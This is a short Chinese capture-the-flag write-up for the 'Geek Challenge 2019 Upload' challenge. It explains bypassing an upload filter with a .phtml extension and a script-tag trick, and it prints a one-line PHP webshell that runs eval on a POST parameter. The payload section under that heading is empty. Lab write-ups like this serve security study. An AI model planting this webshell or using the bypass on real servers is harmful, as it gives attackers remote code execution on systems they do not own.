极客大挑战 2019 Upload

Posted 2021-06-18 H3rmesk1t

极客大挑战 2019 Upload

• 考点
• 思路
• Payload

考点

phtml绕过后缀、script绕过<?

思路

先试试传个php，发现不得行！！！
抓个包挨个尝试发现phtml可以成功，但是显示<?被过滤了，尝试使用<ScrIpt language="php">@eval($_POST['cmd'])</ScrIpt>来绕过，上传成功后骑上我们的马儿~

Payload